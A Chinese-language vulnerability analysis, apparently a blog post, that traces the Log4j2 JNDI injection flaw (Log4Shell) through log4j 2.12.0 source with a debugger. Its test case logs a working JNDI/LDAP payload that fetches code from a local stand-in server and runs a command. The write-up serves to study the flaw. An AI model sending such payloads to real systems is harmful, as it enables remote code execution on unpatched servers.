环境搭建
在pom.xml中引入log4j2的依赖
<dependencies>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.12.0</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.12.0</version>
</dependency>
</dependencies>
编写测试用例
package org.atoposx;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import sun.applet.Main;
public class Log4jRCE {
public static void main(String[] args) {
LOG.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/open -a Calculator}");
// LOG.info("${jndi:ldap://127.0.0.1:1389/Basic/Command/open -a Calculator}");
}
private static Logger LOG= LogManager.getLogger(Main.class);
}
漏洞原理
log4j2在日志解析的过程中会对${开头的内容进行解析,并支持通过jndi查找。如果解析出来的内容中包含jndi:,则会调用jndi的lookup()进行查找,从而触发jndi注入。
漏洞分析
在测试代码LOG.error("${jndi:ldap://127.0.0.1:1389/Basic/Command/open -a Calculator}");处打上断点
步入org.apache.logging.log4j.Logger#error(java.lang.String)


步入org.apache.logging.log4j.spi.AbstractLogger#logIfEnabled(java.lang.String, org.apache.logging.log4j.Level, org.apache.logging.log4j.Marker, java.lang.String, java.lang.Throwable)

该方法用于检查特定的日志级别是否启用
步入org.apache.logging.log4j.spi.ExtendedLogger#isEnabled(org.apache.logging.log4j.Level, org.apache.logging.log4j.Marker, java.lang.String, java.lang.Throwable)


步入org.apache.logging.log4j.core.Logger.PrivateConfig#filter(org.apache.logging.log4j.Level, org.apache.logging.log4j.Marker, java.lang.String, java.lang.Throwable)


发现在429行存在一个对intLevel值的判断,只有intLevel的值小于等于200的时候才会继续执行。
log4j内置一个标准级别intLevel

值越小级别越高,所以除了error,fatal也是可以触发漏洞的。
判断结束后,步入org.apache.logging.log4j.spi.AbstractLogger#logMessage(java.lang.String, org.apache.logging.log4j.Level, org.apache.logging.log4j.Marker, java.lang.String, java.lang.Throwable)

步入org.apache.logging.log4j.spi.AbstractLogger#logMessageSafely

步入org.apache.logging.log4j.spi.AbstractLogger#logMessageTrackRecursion

步入org.apache.logging.log4j.spi.AbstractLogger#tryLogMessage

步入org.apache.logging.log4j.spi.ExtendedLogger#logMessage

步入org.apache.logging.log4j.core.config.ReliabilityStrategy#log(org.apache.logging.log4j.util.Supplier<org.apache.logging.log4j.core.config.LoggerConfig>, java.lang.String, java.lang.String, org.apache.logging.log4j.Marker, org.apache.logging.log4j.Level, org.apache.logging.log4j.message.Message, java.lang.Throwable)

步入org.apache.logging.log4j.core.config.LoggerConfig#log(org.apache.logging.log4j.core.LogEvent, org.apache.logging.log4j.core.config.LoggerConfig.LoggerConfigPredicate)

步入org.apache.logging.log4j.core.config.LoggerConfig#processLogEvent

中间过程省略一部分,可以根据下面的调用链进行调试

直接快进到org.apache.logging.log4j.core.layout.Encoder#encode

步入org.apache.logging.log4j.core.layout.PatternLayout#toText

步入org.apache.logging.log4j.core.layout.PatternLayout.PatternSerializer#toSerializable(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder)

该方法的作用是根据 PatternLayout 的格式化模板(pattern formatter),将传入的日志事件(LogEvent)转换成字符串表示,并写入到给定的 StringBuilder 中,用于最终日志输出。
查看一下所有可用的converter

通过设置不同的converter对不同的输入进行格式化,其中存在问题的是第9个MessagePatternConverter
步入org.apache.logging.log4j.core.pattern.MessagePatternConverter#format

关键逻辑从第129行开始
代码会判断从偏移开始的字符中是否存在$(两个连续出现的字符,如果存在就将$(开始的字符串截取保存到value中,并在wrokingBuilder中截掉这一段,通过replace方法将解析过后的value再append上去。
步入org.apache.logging.log4j.core.lookup.StrSubstitutor#replace(org.apache.logging.log4j.core.LogEvent, java.lang.String)

步入org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int)

步入org.apache.logging.log4j.core.lookup.StrSubstitutor#substitute(org.apache.logging.log4j.core.LogEvent, java.lang.StringBuilder, int, int, java.util.List<java.lang.String>)

步入org.apache.logging.log4j.core.lookup.StrSubstitutor#resolveVariable

步入org.apache.logging.log4j.core.lookup.StrLookup#lookup(org.apache.logging.log4j.core.LogEvent, java.lang.String)

该方法中会获取var参数中的前缀,通过前缀判断使用了哪个方法的lookup()。在这里获取到的前缀是jndi,则198行就调用jndi的lookup方法,从而造成jndi注入。